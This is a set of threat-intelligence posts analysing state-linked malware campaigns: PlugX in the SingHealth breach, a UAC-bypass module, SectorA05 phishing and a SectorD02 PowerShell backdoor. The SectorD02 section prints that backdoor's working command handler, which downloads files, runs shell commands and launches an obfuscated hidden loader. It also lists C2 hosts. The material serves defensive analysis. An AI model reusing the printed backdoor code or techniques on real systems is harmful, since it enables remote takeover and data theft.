The malware identifies its victims using <HIVE>\Software\Intel\Java (with <HIVE> being HKLM/HKCU again) with the name “user”. Malware “1-a” referenced below is the current first stage malware we are describing in this post.

Malware “1-a” and “5-a” contain the same victim identifier values, as do “2-a” and “3-a”. This is interesting because of the second stage malware which we describe briefly later.

Malware  Victim Identification Value
1-a 0XdgrHGaayfyBHQ/vCwMP2HE+cNEbzTk

Process Injection

Finally, the malware performs process injection into “%windir%\system32\dllhost.exe /Processid:{712459B2-3311-54C3-910D-0327080553246}” without the second stage ever touching the disk. The injected process, dllhost.exe, is typically a container process for running COM DLLs. The list of CLSIDs in a system can be seen in KEY_CLASSES_ROOT\CLSID. We are unsure what the hardcoded CLSID value of “712459B2-3311-54C3-910D-0327080553246” is supposed to represent, but a likely guess is a CLSID used by Symantec since the malware is impersonating their executable file.

Second Stage Malware

While we did not analyze the second stage malware in large detail, we did decode the C2 information among other data such as credentials. The samples we analyzed appear to connect to two external C2 IP addresses 217[.]69[.]8[.]255 and 1[.]187[.]1[.]187 on port 443. It also references an internal IP address, which indicate that these spear phishing documents are sent to targeted victims and only after the attacker already has basic access to the victim’s internal network.

One of the purposes of this second stage malware also appears to be for creating a remote command shell.

MalwareInternal IPs Referenced

With the malware trying to target/use the same internal IP but with different user identification values, we see how the attacker is custom compiling each malware executable for each victim/attempt in a specific organization.


SectorB06 is a threat group with very specific interests and in the case of these malware, appears to either already have a basic foothold in the victim network or has already gained and then lost access to the network. They are actively developing their toolkit and are adept at bypassing security solutions at least statically especially for their exploit document and second stage malware.

Indicators of Compromise

Decoy Hash (SHA-256)


First Stage Hashes (SHA-256)


Second Stage Hashes (SHA-256)


IP Addresses


MITRE ATT&CK Techniques

The following is a list of MITRE ATT&CK Techniques we have observed based on our analysis of these malware.

Initial Access

T1193 Spearphishing Attachment


T1059 Command-Line Interface
T1203 Exploitation for Client Execution
T1064 Scripting
T1204 User Execution
T1218 Signed Binary Proxy Execution


T1038 DLL Search Order Hijacking
T1060 Registry Run Keys / Startup Folder

Defense Evasion

T1116 Code Signing
T1038 DLL Search Order Hijacking
T1107 File Deletion
T1055 Process Injection
T1218 Signed Binary Proxy Execution
T1045 Software Packing
T1099 Timestomp


T1057 Process Discovery
T1012 Query Registry
T1063 Security Software Discovery
T1124 System Time Discovery


T1119 Automated Collection


T1022 Data Encrypted

Command and Control

T1043 Commonly Used Port
T1071 Standard Application Layer Protocol


[1] Microsoft Office : List of security vulnerabilities
[2] CVE-2018-0802 | Microsoft Office Memory Corruption Vulnerability
[3] GetFileTime function

Threat Actor Group using UAC Bypass Module to run BAT File


Our Threat Recon team continues to collect and analyze activity-related data from multiple APT groups. We analyzed malware used in hacking activities targeting organizations located in South Korea, the US, and East Asia earlier this year. They use a CAB file that compresses the malware, separate configuration files and a specific User Access Control (UAC) bypass module. This article briefly describes the infection method of the malware that they were using at the time and the UAC bypass module used.

Infection Method

The attackers used quite a few steps to generate their malware, and the initial infection comes from malicious documents attached to spear phishing emails. When a user executes a file attached to the email, a batch file for downloading a base64-encoded CAB file from a remote site is downloaded through a script included in the document.

Infection method using CAB file

The following is the sequence of the infection method that they use.

  1. Download base64 encoded data 1.txt via script embedded in malicious documents
  2. Decode “1.txt” to create “1.bat” and run “1.bat”
  3. “1.bat” downloads 2.txt (32-bit) or 3.txt (64-bit) according to the Windows platform environment (32bit / 64bit)
  4. Decode “2.txt” or “3.txt” to create “”

Each file looks like an SSL certificate using the string “—– BEGIN CERTIFICATE —–“, but this is actually a base64 encoded cab and bat file.

Left: The 1.bat file used to decompress the CAB file and run the main payload
Right: The 2.txt CAB file for 32-bit Windows systems

The CAB file is created according to the Windows platform environment through the following files:

  1. BAT file for main payload file execution
  2. INI file containing attacker server address
  3. DLL file for UAC bypass
  4. Main EXE payload

Why does UAC Run?

This malware’s first batch file (1.bat) executes a second batch file which installs the main payload. A UAC pop-up will normally be shown to the user and this is caused by the code in the BAT file that installs the main payload. It copies the INI configuration file and the main payload EXE into the System32 folder.

In general, when files are copied to the System32 folder, a UAC pop-up will run for security reasons. This folder should not be modified in normal situations because it contains important files used to operate the system.

Why UAC runs

BAT File Details

The first batch file (1.bat) downloads the file from a remote server and uses the “net session> nul” command to verify the current user rights and perform the following actions:

  • If admin : Delete UAC bypass DLL, execute main payload and BAT file
  • If not admin : Execute the following command using rundll32.exe
    Command : “[UAC Bypass Module], EntryPoint [Main Payload execution BAT file]”.
Batch Code

The batch file used to install the main payload copies the main payload executable and INI configuration files into the System32 folder, and then runs the main payload which was moved to the System32 folder.

BAT file running Main Payload Code

About UAC

User Account Control (UAC) is a Windows operating system security control function based on the concept of access tokens. It displays a screen informing the user when a program requires administrator level privileges, acting as a warning prompt for user consent of unknown privileged activity.

UAC popped up on screen

How it works

When a user logs into Windows, each user is given an access token. This access token has information on the security identifier (SID), the Windows operating system privilege, and the access level granted to the user, and the Windows system uses the access token to verify the user’s privilege. The access tokens generated at login are:

  • standard user : Generates a standard user access token
  • administrator : Generate standard user access token, administrator access token

The system allocates the following integrity levels according to the token privileges of the logged-in user. System performs access control by comparing the access rights of the security descriptor of the object with the user’s SID.

Processes that run at Medium Level

Issued tokens are used for events such as process creation. The important thing here is that when a process is created after issuing a token, the administrator also executes the new process using the standard user access token.

Generally, explorer.exe which is the parent process of most user processes operates at medium integrity level, so most processes run at the same level to explorer.exe. But when a process requires a high integrity level, processes can obtain an elevated privilege if the user approves it.

This basically means that a process typically uses a standard user access token and uses the UAC to get the user’s authorization if an administrator access token is needed.

The following such actions are examples of events which trigger UAC:

Running an Application as an Administrator
Changes to system-wide settings
Changes to files in folders that standard users don’t have permissions for (such as %SystemRoot% or %ProgramFiles% in most cases)
Changes to an access control list (ACL), commonly referred to as file or folder permissions
Installing device drivers
Installing ActiveX controls
Changing settings for Windows Firewall
Changing UAC settings
Configuring Windows Update
Adding or removing user accounts
Changing a user’s account type
Turning on Guest account (Windows 7 and 8.1)
Turning on file sharing or media streaming
Configuring Parental Controls

UAC Bypass Module

However, the attackers in this case use a particular DLL module for bypassing UAC. It seems to have been created by referring to the source code of a file named UAC-TokenMagic.ps1 which is open source on GitHub.

First, it creates a wusa.exe process (an auto-elevatable process) that runs at a High Integrity Level. This process is the Windows Update Standalone installer, and it has an auto-elevate attribute so it does not pop up UAC if the system UAC popup setting is “Notify me only when programs / apps try to make changes to my computer”.

After creating wusa.exe, it copies that token and run the cmd.exe process via CreateProcessWithLogonW using the copied token. Finally, cmd.exe runs at a High Integrity Level and executes “/c EntryPoint” %Temp%\[bat file install main payload]” and this batch file inherits the elevated privilege of cmd.exe.

Part of the UAC Bypass module code

If the attacker is using the UAC bypass module, the batch file that runs the main payload will work through the cmd.exe generated by copying the access token from wusa.exe. In conclusion, the UAC will not pop up even if the code that moves the file into the System32 folder in batch file is executed.


The attackers compress the UAC Bypass Module with other components and distributes them in a CAB file format. We have seen this threat actor group mainly use decoy documents written in Russian, English and Korean and used the BABYFACE, SYSCON malware variants as the main payload. Such activity may be related in part to the activities of the previously known threat actor groups. Our Threat Recon team will continue to monitor these Cyber Threat.

Indicators of Compromise



IP Addresses



Reading Your Way Around UAC (Part 1)
User Account Control

SectorM04 Targeting Singapore – An Analysis


On or around June 27, 2018, personal particulars of almost 1.5 million people was exfiltrated from a SingHealth database in Singapore where information on patients was stored. Multiple pieces and types of malware was used in this attack which took place over almost a year [1].

Illustration using details from p.53 of the COI report

On 6th March, Symantec released a blog article [2] linking several pieces of malware and a threat group which we will be tracking as SectorM04 to Singapore’s SingHealth breach last year. One such artifact we found an exact match on was the DLL Shellcode Loader which was referred to as Trojan.Vcrodat that is one of the files dropped as something which has characteristics of the PlugX RAT. The PlugX RAT is a RAT which has been used by multiple threat groups, including one which was reported to have interests in the healthcare sector [3].

Decoy (e9b12791e0ab3a952fa09afd29e5a1416abd917edf5c913af7573adf8ccc39b0)

The dropper for that file was in the form of a decoy executable/document and named as “PositionRequirement-SeniorCivilEngineer.doc.exe”. Opening this results in the Word document below being opened, and everything will seem normal to the victim.

Decoy document that is opened after executing the malware

However, this is actually a trick because the malware uses a “.docx.exe” extension. The actual executable drops other files in the same folder – a legitimate signed executable, a malicious DLL file which abuses the DLL search order [4] from the executable, a compressed shellcode file, a simple batch script (a.bat) to clear its tracks, and a normal Word document. The executable then executes the normal Word document, the batch script, and drops the remaining three files and executes the legitimate signed executable.

a.bat – a simple batch script to hide the tracks of the original EXE
:Repeat del <filepath>\filename.docx.exe if exist <filepath>\filename.docx.exe goto Repeat

If this was the RAT used for the initial infection, then it seems to reinforce the theory that one likely initial infection vector was via spear phishing using a link or an archived file [1]. This is because using an exploit to automatically run this dropper would not make sense as the malware also automatically opens a benign Word document which would arouse suspicion if it opened by itself.

PlugX Trinity

Those remaining three files are actually the three files in what other researchers have dubbed the PlugX Trinity [5] – a legitimate signed executable, a loader DLL, and a shellcode file.

In this example, while the legitimate signed executable was a file named adobe.exe it was actually an application from ESET. However, the attacker uses DLL side loading, and this “adobe.exe” file tries to load MSVCR110.dll which is a legitimate system DLL. But because of the way the DLL search order works, the system tries to find MSVCR110.dll from the directory from which the application loaded first, thus loading the attacker’s version of MSVCR110.dll.

MSVCR110.dll is a tiny dll made up of exported functions which the real MSVCR110.dll should have. These external functions simply jump to the MSVCR90.dll when called, except for the “__crtGetShowWindowMode” function which calls the malicious function. The malicious function will proceed to read the MSVCR110.dat shellcode file into memory and decompress the buffer using RtlDecompressBuffer under the COMPRESSION_FORMAT_LZNT1 scheme, a method seen since early days of the PlugX RAT [6], and further unpack the shellcode. Throughout the unpacking process, it makes use of its Process Environment Block (PEB) to parse the PEB_LDR_DATA structure for getting addresses of functions and libraries it wants to use.

When starting, this malware uses the Global mutex named “eeclnt”. It will run another copy of itself with the arguments “258”, and this copy will run %windir%\system32\msiexec.exe as it disables WOW64 redirection.

The created msiexec.exe will be started with the flags 0x434 which among other things starts the process in a suspended mode and command line arguments “259”, then performs process injection so that the malware is running as msiexec.exe.


In order to persist on a system, the malware makes use of %APPDATA%\Windows folder, setting the folder attributes to HIDDEN | SYSTEM and moving MSVCR110.dll, MSVCR110.dat, and eeclnt.exe (renamed from adobe.exe) there. It stores this new location of the shellcode file (MSVCR110.dat) in an environment variable “%UI00%” and the location of the DLL file (MSVCR110.dll) in an environment variable “%UI01%”.

There are two persistence mechanisms it makes use of:

  1. Service with service name and display name set to “WanServer”, which starts %APPDATA%\Windows\eeclnt.exe with the command line arguments “260”. The service description used is “Network for this computer. If this service is stopped, these functions will be unavailable.”, which is a generic sounding but unique description for this malicious service.
  2. If the service failed to be created, most likely due to insufficient privileges, then the malware would make use of the standard run registry key located at HKCU\Software\Microsoft\Windows\CurrentVersion\Run with key “eeclnt” and value %APPDATA%\Windows\eeclnt.exe with the command line arguments “260”.
Command LineDescription
NULLRe-run with arguments “258” and continue
“258” / “260”Run %windir%\system32\msiexec.exe with arguments “259” or “261” respectively in suspended mode and inject itself into it
“259”Create persistence via service / run registry key and run itself as “eeclnt.exe” with arguments “260”
“261”Run normally, including C2 communications.

C2 Beacon

The malware beacons using a legitimate HTTPS POST on port 443 to “/login.asp?id=%d” where %d is the victim identifier using the user-agent “User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)” via WinINet.dll’s HttpSendRequestA. If the configuration uses a different port, then the request is done via HTTP.


The malware manually sets inline hooks on SspiCli.dll’s AcquireCredentialsHandleA function if running on Windows 10. AcquireCredentialsHandleA is actually a function normally called from secur32.dll, which then forwards the API call to SspiCli.dll. Before performing the actual function, the inline hook will use the process token from explorer.exe and perform ImpersonateLoggedOnUser() with that token, which is a trick we are seeing for the first time and seems to be for UAC bypass.

The malware also manually sets inline hooks on WSs2_32.dll’s closesocket and shutdown functions. Before performing the closesocket function, the inline hook will perform “setsockopt(socket, SOL_SOCKET, SO_DONTLINGER, 0, 4)” and on shutdown, the inline hook will simply return from the function instead.

Information Collected

The malware mainly collects the following information from the system automatically:

  • Major, minor, and build OS versions
  • NetBIOS Name
  • MAC Address
  • Logged on user name

Other PlugX Capabilities

Similar to previous PlugX variants [7], this version zeroes out its entire PE header (without that false “XV” header), together with other certain other PE sections we presume the attacker did not want others to see.

Finally, besides this technical analysis, it is important to remember that PlugX in general has reverse shell capabilities and typically has additional modules which might be either decrypted or downloaded as shellcode [8].


While we cannot be sure of the SectorM04’s motives, healthcare data is information that has a lot of potential for intelligence gathering with the most obvious being used for blackmail. They have shown their willingness, ability, and patience to compromise their targets, of which Singapore appears to be one of the bigger ones. As is the case for many nation state threat actor groups, it is important to remember that cyber is only one part of an intelligence operation.

ATT&CK Matrix


Indicators of Compromise

PlugX Trinity Hashes (SHA-256)

PlugX RAT Full Dropper

PlugX Trinity – Legitimate signed executables

PlugX Trinity – Malicious DLLs which are used to abuse search order

PlugX Trinity – Shellcode files

Other Hashes (SHA-256)

Another RAT Used




IP Addresses




SectorD02 PowerShell Backdoor Analysis


SectorD02 is a state sponsored threat actor group which mainly targets governments and organizations around the Middle East. In this case, the target of this malware was Turkey, although it has been reported that they also sometimes target countries outside of the Middle East. One characteristic of SectorD02 is their incrementally changing PowerShell backdoor.

We came across two of SectorD02’s such backdoors at the end of 2018, and we analyzed these variants then identified them as the group’s PowerShell malware. SectorD02 focuses on using PowerShell scripts to carry out their attacks and loading those scripts past layers of obfuscation through a variety of methods. One such method is via PS2EXE (PowerShell to EXE), and our analysis on public reporting has shown they have used this vector sometimes [1] since their attacks had first been grouped and given a name [2].

PowerShell Backdoor

Both versions of the PS2EXE backdoors we came across end up executing the exact same PowerShell script (which includes the same victim ID), and the main difference seems to be that they were compiled seconds apart and yet having different compiler linker versions.

Hash (SHA-256)Compile TimestampLinker Version
4cdf04c09d144c0c1b5ec7ac91009548db1546e1d1ed4d6fbfb64942a0bd039414.10.2018 09:20:038.0 (.NET 2)
d95fada028969497d732771c4220e956a94a372e3fd543ba4d53b9a927cabe1c14.10.2018 09:20:2010.0 (.NET 4)

This is a strange scenario and seems to indicate that the attacker had likely either introduced build automation into its malware creation process or had more than one employee/machine/environment for creating builds for distribution and did so almost at the same time. However, since SectorD02 is constantly changing their methods of producing malware and the scripts themselves, it does not make any economical sense to automate this in a build and we have not seen evidence of it elsewhere, so the latter is what we believe to be the most likely scenario.

After extracting the encoded PowerShell script from the PS2EXE executable, the first thing we see is some Hebrew text stored in two variables. These same unused variables have been left there in other variants of their backdoor reported by others, but is completely meaningless as the attackers have even left Chinese text in earlier samples [3].

Some of the things we see in this version are:

  • Hiding and setting of system attribute for svchost.html,, and svchosts.exe in the C:\Windows directory. Similar sounding filenames/extensions have been reported being used by this group elsewhere [4], and indicate that there are other pieces of malware used in the same attack we are not yet aware of.
  • First persistence: Standard HKLM run registry key for “WindowsDefender” with the value “c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection C:\Windows\svchost.html,svchost,1,”.
  • Second persistence: Scheduled task with the same value as before under “Microsoft\WindowsMapsUpdateInfo”.

Creating the Victim ID

As usual, they follow their mechanism for getting the victim ID using a combination of information taken from the victim machine. This similar kind of mechanism can be seen since early last year [5]. Recently, other researchers found a different version which used “::” as a separator instead of “**” [6], but it is hard to say whether these malware are made by the same group.

$SysInfo = getOS $SysInfo += “**” $SysInfo += getIP $SysInfo += “**” $SysInfo += getArch $SysInfo += “**” $SysInfo += getHostName $SysInfo += “**” $SysInfo += getDomain $SysInfo += “**” $SysInfo += isAdmin $SysInfo += getUsername $SysInfo += “**” $SysInfo += getPIP $global:id = md5generator($SysInfo) return ($global:id + ‘**’ + $SysInfo)

C2 Commands

When the group is not changing their malware functionality, they are constantly at least changing their naming of items in their scripts. In this variant, we can see the commands “upload”, “cmd”, “b64”, and “muddy”.

function command_and_control($cmd){ try{ if($cmd.StartsWith(‘upload’)){ try{ $cmd=$cmd.replace(‘upload ‘,”) $wc = New-Object System.Net.WebClient $wc.proxy = [Net.WebRequest]::GetSystemWebProxy() $wc.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials $wc.DownloadFile($cmd, (“c:\programdata\” + $cmd.Substring($cmd.LastIndexOf(‘/’),$cmd.Length-$cmd.LastIndexOf(‘/’)))) return Eval “pwd” }catch{ return $_.Exception.Message } } elseif($cmd.StartsWith(‘cmd’)){ $cmd=$cmd.replace(‘cmd ‘,”) try{ $out = cmd /c $cmd $out = $out | Out-String return $out } catch { return $_.Exception.Message } } elseif($cmd.StartsWith(‘b64’)){ $cmd=$cmd.replace(‘b64 ‘,”) try{ $cmd = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($cmd)) $out = Eval $cmd $out = $out | Out-String return $out } catch { return $_.Exception.Message } } elseif($cmd.StartsWith(‘muddy’)){ $cmd=$cmd.replace(‘muddy ‘,”) $cmd = shttpGET($cmd) set-content -path “c:\programdata\LSASS” -value $cmd try{ Start-Process powershell -ArgumentList ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(“LWV4ZWMgQnlwYXNzIC1jICRzPShnZXQtY29udGVudCBjOlxwcm9ncmFtZGF0YVxMU0FTUyk7JGQgPSBAKCk7JHYgPSAwOyRjID0gMDt3aGlsZSgkYyAtbmUgJHMubGVuZ3RoKXskdj0oJHYqNTIpKyhbSW50MzJdW2NoYXJdJHNbJGNdLTQwKTtpZigoKCRjKzEpJTMpIC1lcSAwKXt3aGlsZSgkdiAtbmUgMCl7JHZ2PSR2JTI1NjtpZigkdnYgLWd0IDApeyRkKz1bY2hhcl1bSW50MzJdJHZ2fSR2PVtJbnQzMl0oJHYvMjU2KX19JGMrPTE7fTtbYXJyYXldOjpSZXZlcnNlKCRkKTtpZXgoW1N0cmluZ106OkpvaW4oJycsJGQpKTs=”))) -WindowStyle Hidden return (Eval “ls c:\programdata”) } catch { return $_.Exception.Message } } else { return Eval $cmd } } catch{ return $_.Exception.Message } }

Random Proxy

This variant has four C2 IP addresses and uses one of them randomly. These IP addresses were used in other attacks around the same time as well [1]. As usual, these C2 servers are likely to be simply hacked servers like as before [7], something acknowledged by the attacker when they refer to their servers as proxies as well.

$C = @(‘hxxp://78[.]129[.]139[.]148′,’hxxp://79[.]106[.]224[.]203′,’hxxp://104[.]237[.]233[.]17′,’hxxp://185[.]34[.]16[.]82’) function getRandomProxy(){ $rnd = Get-Random -minimum 0 -maximum ($C.Length) $global:url = $C[$rnd] }

Interestingly, even at the time of writing, two of the proxy C2 servers (79[.]106[.]224[.]203 and 185[.]34[.]16[.]82) had the “MikroTik bandwidth-test server” on port 2000 enabled and that could have been how the servers got compromised and used as C2 servers.


SectorD02 is one of those groups which are much harder and complicated to attribute attacks to because attribution based solely/heavily on technical indicators from malware simply does not work. We have talked about this before in our previous post [8] and although this backdoor can be considered a custom malware, it may as well be open source because it is so easy for others to modify these malware and reuse it for their own attacks.

Indicators of Compromise

Hashes (SHA-256)






Monthly Threat Actor Groups Intelligence Report, January 2019

This is a summary of activity of suspected state sponsored Threat Actor Groups analyzed by the ThreatRecon Team, based on data and information collected from December 21, 2018 to January 20, 2019.

1. SectorA Activity Features

A total of three hacking groups were found to be active in SectorA. While their modus operandi had been constant for the past few months, some of it has changed this time.

SectorA01 is still concentrating on financial crime using malware in countries such as Africa, Southeast Asia, and South America for financial gain.

SectorA02 and SectorA05 groups are concentrating on hacking activities aimed at stealing information related to foreign policy of South Korea, and their malware continues to be found in government agencies within South Korea.

But little by little, these hacking groups supported by SectorA have been changing their malware and hacking techniques since 2018. For example, besides their using their usual spear phishing with Hangul Word Processor (HWP) files, they have also started to use phishing with malicious scripts instead as well.

From the hacking activities by SectorA to date, we believe they will continue their activities related to financial crime and espionage aimed at South Korean government agencies.

2. SectorB Activity Features

SectorB targets countries from various regions around the world, and a total of two hacking groups activity were found to be active. Targets were found in Central Asia including Kazakhstan and East Asia including South Korea.

Groups that were active continued to use spear phishing with Microsoft Word files containing Macros , and also included the use of code execution vulnerabilities in Microsoft Office software.

From the hacking activities by SectorB to date, we believe that their targets will continue to include European and Oceanian countries for the purpose of stealing high-tech information.

3. SectorC Activity Features

SectorC targets included countries in Eastern Europe including Ukraine, Poland, Macedonia, and North America including the United States. Three hacking groups were found to be active.

Although hacking groups supported by SectorC have the characteristics of having very fast technological and strategic changes, but their malware continues to have identifying characteristics of previous versions.

Their activities in Eastern Europe seem to be aimed at stealing information on military activities related to the North Atlantic Treaty Organization (NATO) and their activities in North America seem to be aimed at stealing information related to government activities.

Since SectorC is currently engaged in hacking activities in Eastern Europe and North America, it seems likely that their political and military related espionage will continue in those regions.

4. SectorD Activity Features

SectorD targets included Europe including Belarus, Ukraine, and Sweden, East Asia including South Korea, and the Middle East centering on Saudi Arabia, Turkey, and Oman. Two hacking groups were found to be active.

Outside of the Middle East, their purpose seem to be to steal diplomatic related information from countries with political and economic cooperation with other countries in the Middle East, such as Europe and East Asia. In particular, South Korea recently had diplomatic gains in which it agreed to cooperate in seven areas through summit talks with Qatar.

Hacking techniques used by SectorD continue to include spear phishing with Microsoft Word files which contains malicious macro functions.

Based on their hacking activities so far, it seems that SectorD is starting to expand its scope to include hacking countries with political and economic cooperating with Middle Eastern countries, rather than solely targeting countries in the Middle East.

5. SectorE Activity Features

SectorE targets included Pakistan like before, but this time included East Asia including China, Hong Kong, and South Korea. Two hacking groups were found to be active.

We believe that the wider range of hacking activities by SectorE groups are aimed at stealing information on economic and policy activities of the respective governments in East Asia. China is in the process of implementing “One Belt, One Road” in Southeast Asia, and South Korea and Russia are countries known to be exporting military arms to SectorE.

Hacking techniques used by SectorE continue to include spear phishing with Microsoft Word files which exploit known code execution vulnerabilities.

Based on their hacking activities so far, it seems that SectorE is targeting countries for the purpose of stealing information related to economic and foreign policy, and targeting Pakistan for politically motivated purposes.

6. SectorF Activity Features

SectorF targets were in Southeast Asia including Vietnam. Similar to November and December 2018, their purpose seems to be stealing information related to political activities from special-purpose personnel operating inside the countries of Southeast Asia.

The hacking techniques used by SectorF groups are using Spear Phishing with links to download malicious Microsoft Word files. Depending on the target, they choose to use code execution vulnerabilities or embed malicious macros in the Microsoft Word file.

From their hacking activities in the last three months, it seems that SectorF will continue to target special-purpose personnel in Vietnam and they will continue using other kinds of hacking techniques such as Watering Hole attacks as well.

7. SectorH Activity Features

SectorH seems to have a contractual relationship for a particular purpose rather than serving as a government organization of a particular country. Their recent hacking activities are extensive, ranging from Northern European countries including Lithuania to East Asian countries including China and South Korea.

However, it seems that the group is more focused on Cyber Crime activities to steal financial information based on their hacking techniques and malware, and only carries out hacking activities for stealing information related to political, economic and diplomatic government activity on an ad hoc basis.

Based on their hacking activities so far which has very different purposes and interests depending on the target, we will need to continue observing their hacking activity in order to have enough confidence to judge their primary purpose.

The full report detailing each event together with IOCs and recommendations is available to existing NSHC ThreatRecon customers.

The Double Life of SectorA05 Nesting in Agora (Operation Kitty Phishing)


In early January 2019, an email containing malware was distributed to 77 reporters covering topics related to the Unification Ministry of South Korea. We analysed these malware and identified them as malware used by SectorA05, and we confirm that they have been using a specific C2 server with a Korean domain name using Japanese IP address for at least 27 months continuously.

In addition to these phishing attacks containing malware, phishing attacks were also used to steal email account information. These attacks mainly targeted South Korean government personnel such as employees from the central government, unification ministry, diplomacy, and defense. Recently, they have also expanded their targets to include cryptocurrency exchanges and individual users.

Their main purpose is to capture government confidential information and achieve monetary gain through stealing cryptocurrencies such as Ethereum and Bitcoin. We decided to group these wave of attacks under what we call “Operation Kitty Phishing”. Their attacks have been ongoing on a daily basis, and what we have discovered so far only appears to be the tip of the iceberg.

January 2019 Unification Reporters Attack

On January 7th, 2019, an email containing malware was distributed to 77 reporters who cover topics related to the Unification Ministry of South Korea using the email subject “RE: TF 참고자료”. A “TF 참고.zip” attachment had a password set and the password was sent along with the body of the email. The word “비번” in the body of the email is a slang word is used mainly by South Koreans, so these hackers are proficient in South Korean.

The zip attachment consists of two normal document files and a piece of executable malware disguised using a Hangul Word Processor (HWP) document icon with a lot of spaces in the filename so that the “.exe” extension is not visible to the user, thereby inducing file execution. When the malware is executed as an SFX (self-extracting archive) file type, it decompresses one normal Hangul Word Processor (HWP) document, “2.wsf” and “3.wsf”. What is unique about this is that it uses two different RATs. The first RAT is a DLL downloaded via “2.wsf” and the second RAT is the script-based “3.wsf” file. Even if one of them are detected, the other one gets used.

A. DLL-based RAT (downloaded by “2.wsf”)

The purpose of the “2.wsf” script is to download and run the BASE64 encoded “Freedom.dll” malware.

The malware spreads using a Google Drive URL in the “2.wsf” script. The URL of the C2 server is stored in Google Drive, and the C2 URL at the time of analysis was “hxxp://my-homework.890m[.]com/bbs/data/”.

“2.wsf” sends a progress log to the C2 server by the progress step so that the hacker can check the progress of each target user.

hxxp://my-homework.890m[.]com/bbs/data/board.php?v=a Finished getting C2 URL
hxxp://my-homework.890m[.]com/bbs/data/board.php?v=b The file name to be saved has been created
hxxp://my-homework.890m[.]com/bbs/data/board.php?v=c The brave.ct file has been downloaded.
hxxp://my-homework.890m[.]com/bbs/data/board.php?v=e Decoded and saved as Freedom.dll
hxxp://my-homework.890m[.]com/bbs/data/board.php?v=f Executed the Freedom.dll file.

The file downloaded via “2.wsf” is “Freedom.dll”. This file uses Google Drive to get the address of the C2 server, but if it cannot connect to the C2 server or Google Drive, it uses “ago2[.]co[.]kr” as the C2 by default. This C2 server using a Korean Top Level Domain with a Japanese IP address is an important clue to track them.

This “Freedom.dll” file is designed to act as a downloader and has the following roles:

  • Check whether OS is 32-bit or 64-bit. If it is a 64bit OS, download and decrypt 64-bit malware ( then execute it.
  • It periodically sends infection information to the C2 server using the server relative path “/bbs/data/tmp/Ping.php?WORD=com_[MAC Address]&NOTE=[Windows Version]”
  • If the hacker uploads additional malware for a specific user, download “Cobra_[MAC Address]” file from C2 and decrypt the “Cobra_[MAC Address]” file then run Cobra.dll.
  • “/bbs/data/tmp/D.php?file=Cobra_[MAC Address]” is used to delete files from the C2 server.
  • DLL injection to explorer.exe

The “Freedom.dll” file uses a XOR Table to download and decrypt additional encrypted malware hosted on the C2 server. The XOR Table values used is ”
B20A82932F459278D44058ADBF3113FB56C1D749947D0FE00FE0ABC84BC8A02B” and this XOR Table has also been used in previous attacks of same hacker organization. More information about this XOR table is covered later in this post.

Depending on the target user, the hacker also selectively sends additional malware binaries under the file name “Cobra_[MAC Address]” which steals user information. This helps them ensure that their more valuable malware is kept only for victims they are interested in.

These additional malware binaries are covered later in this post.

B. Script-based RAT (“3.wsf”)

The “3.wsf” script is a script-based RAT. Unlike other malicious WSF (Windows Script File) scripts, it has its own RAT function and registers itself in the “RUN” registry with an “AhnLab V4” value to the persistent mechanism. AhnLab is a Korean local security vendor.

“3.wsf” downloads the C2 server’s URL from Google Drive.

hxxp://my-homework.890m[.]com/gnu/ver Version Check / Update
hxxp://my-homework.890m[.]com/gnu/board.php?m=MAC_ADDR&v=VERSION|TIMEOUT Get C2 command

The kinds of commands that the attacker makes through the C2 server are as follows.

[C2 command processing logic included in ‘3.wsf’ RAT]
C2 Control CodeDescription
cmd Execute command
download Download file from C2 server
upload Upload file to C2 server
update Update the “3.wsf” file
interval Change execution cycle (Default value 3 minutes)

A look at their past

We analyzed the above malware and identified them as SectorA05. Below is a look at their activities and attack methods based on the information from their malware.

Phishing Method of SectorA05 (Initial attack stage)

SectorA05 uses two methods of phishing for gaining initial access. First, phishing attacks to steal passwords of victim e-mail accounts and second, phishing attacks with malware attached to steal information of victim PCs.

A. Phishing attacks that steal passwords of email accounts

They create a phishing site similar to one that the target user uses and sends it to the target. They often mislead the victim using a security-related problem, such as a password reset request, to entice the target user to enter a password.

B. Malware attachment attacks

Malware is delivered via a variety of email attachments – script files, vulnerabilities in HWP documents, and renamed “EXE” executables looking like ordinary documents. These files are usually delivered as compressed files.

(1) Using script files

“WSF” and “VBS” script files are compressed into a single archive, which induces the user to execute the script file in the compressed file. The scripts used in the actual attack are as follows.

  • “정보보고.wsf” (Jan 2018)

    SHA256: 575606c03d3775cd8880c76a3ef7c014cfcab08411a01f07fc3fcb60166be50b

  • “공지사항.png.vbs” (July 2018)

    SHA256: c87f4aeebd3f518ba30780cb9b8b55416dcdc5a38c3080d71d193428b0c1cc5a

(2) Vulnerabilities in HWP documents

Using vulnerabilities in the HWP software which is widely used in Korea, malware can be executed when the target user views this document which was attached to the email. The HWP file used in the actual attack is as follows.

  • “종전선언.hwp” (May 2018)

    SHA256: 5f2ac8672e19310bd532c47d209272bd75075696dea6ffcc47d1d37f18aff141

(3) Executables looking like normal documents

The attacker inserts a lot of spaces in the filename to make the extension of the executable file such as “.exe” or “.scr” to be hidden from the user and misleads them into thinking the executable files are normal document files. The files used in the actual attack are as follows.

  • “미디어 권력이동⑥-넷플렉스, 유튜브.hwp [many space] .exe” ( Jan 2019)

    SHA256: c6c332ae1ccb580ac621d3cf667ce9c017be41f8ad04a94c0c0ea37c4789dd14

  • “중국-연구자료.hwp [many space] .scr” (Jan 2019)

    SHA256: 84edc9b828de54d4bd00959fabf583a1392cb4c3eab3498c52818c96dc554b90

Use of Google Drive

SectorA05 used Google Drive as a way to supply malware. Malware binaries, C2 domain information necessary for normal malware operations, and malware configuration files were all uploaded to Google Drive with accounts they created. These binaries will be downloaded through a script executed by the victim during the initial infection, with additional configuration or customized malware downloaded as well afterward. Using Google Drive also allowed them to bypass network security devices which would typically ignore Google services as a white-listed domain.

Here is a screenshot of Google Drive used by them.

The Google Drive URLs identified as used by the organization are:

  • hxxps://drive[.]google[.]com/uc?export=download&id=0B9_jdTGo3-sndXJESjllMkloOFU
  • hxxps://drive[.]google[.]com/uc?export=download&id=0B9_jdTGo3-snT3RTMHJMZEk2Szg
  • hxxps://drive[.]google[.]com/uc?export=download&id=1MVR58_5SlXgDZ5arasQk9AnmihAb3KJ6
